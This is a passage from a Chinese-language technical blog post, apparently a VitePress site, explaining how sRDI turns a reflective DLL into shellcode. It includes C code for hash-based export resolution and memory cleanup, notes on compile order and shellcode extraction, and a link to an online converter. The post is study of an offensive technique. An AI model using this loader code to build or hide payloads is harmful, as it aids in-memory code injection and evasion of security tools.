        expName = RVA(PDWORD, baseAddress, exportDir->AddressOfNames);
        expOrdinal = RVA(PWORD, baseAddress, exportDir->AddressOfNameOrdinals);

        for (i = 0; i < exportDir->NumberOfNames; i++, expName++, expOrdinal++) {

            expNameStr = RVA(LPCSTR, baseAddress, *expName);
            funcHash = 0;

            if (!expNameStr)
                break;

            for (; *expNameStr; expNameStr++) {
                funcHash += *expNameStr;
                funcHash = ROTR32(funcHash, 13);

            }

            if (dwFunctionHash == funcHash && expOrdinal)
            {
                exportFunc = RVA(EXPORTFUNC, baseAddress, *(PDWORD)(baseAddress + exportDir->AddressOfFunctions + (*expOrdinal * 4)));
                exportFunc(lpUserData, nUserdataLen);
                break;
            }
        }
    } while (0);
}

清除掉原dll内存

c
if (flags & SRDI_CLEARMEMORY && pVirtualFree && pLocalFree) {
    if (!pVirtualFree((LPVOID)dllData, 0, 0x8000))
        pLocalFree((LPVOID)dllData);
}

将反射dll转换为shellcode

编译顺序

image-20210412175535345

function_link_order.txt

LoadDLL
GetProcAddressWithHash

指定LoadDLL首先编译

分离shellcode

image-20210412150605149

通过一个powershell脚本,分离出.text段的内容,即是我们需要的shellcode了,这个shellcode开头就是LoadDLL的函数调用。

然后再用汇编编写一段调用的代码就可以运行了,这个代码我们可以叫bootstrap。

ps:如何将c写的代码转换为shellcode,不要使用windows提供的api,使用动态加载的方式调用。也要防止编译器自己的优化。

srdi提供了一个shellcode生成脚本,在Python\ShellcodeRDI.py,再ida下分析下shellcode(在x64下)

image-20210412180656666

ULONG_PTR LoadDLL(PBYTE dllData, DWORD dwFunctionHash, LPVOID lpUserData, DWORD nUserdataLen, DWORD flags)

整个程序在内存中是这样的

# Bootstrap shellcode
# RDI shellcode
# DLL bytes
# User data

End

硬看了几天代码,终于把步骤和原理都理清楚了一点,也更加理解PE的结构了。之前的任意exe转shellcode工具,原理是shellcode化的进程替换,不用关心PE结构,但很多代码都是原始的手撸,看了这些代码后是真心佩服写这些代码的人,研究的很深,代码写的也很好,值得学习一番。

Ps:hacking8的在线exe转shellcode [https://i.hacking8.com/dll2shellcode/] 已经集成了这些技术的在线转换。

image-20210412220106619

参考

撰写

布局切换

调整 VitePress 的布局样式,以适配不同的阅读习惯和屏幕环境。

全部展开
使侧边栏和内容区域占据整个屏幕的全部宽度。
全部展开,但侧边栏宽度可调
侧边栏宽度可调,但内容区域宽度不变,调整后的侧边栏将可以占据整个屏幕的最大宽度。
全部展开,且侧边栏和内容区域宽度均可调
侧边栏宽度可调,但内容区域宽度不变,调整后的侧边栏将可以占据整个屏幕的最大宽度。
原始宽度
原始的 VitePress 默认布局宽度

页面最大宽度

调整 VitePress 布局中页面的宽度,以适配不同的阅读习惯和屏幕环境。

调整页面最大宽度
一个可调整的滑块,用于选择和自定义页面最大宽度。

内容最大宽度

调整 VitePress 布局中内容区域的宽度,以适配不同的阅读习惯和屏幕环境。

调整内容最大宽度
一个可调整的滑块,用于选择和自定义内容最大宽度。

聚光灯

支持在正文中高亮当前鼠标悬停的行和元素,以优化阅读和专注困难的用户的阅读体验。

ON开启
开启聚光灯。
OFF关闭
关闭聚光灯。

聚光灯样式

调整聚光灯的样式。

置于底部
在当前鼠标悬停的元素下方添加一个纯色背景以突出显示当前鼠标悬停的位置。
置于侧边
在当前鼠标悬停的元素旁边添加一条固定的纯色线以突出显示当前鼠标悬停的位置。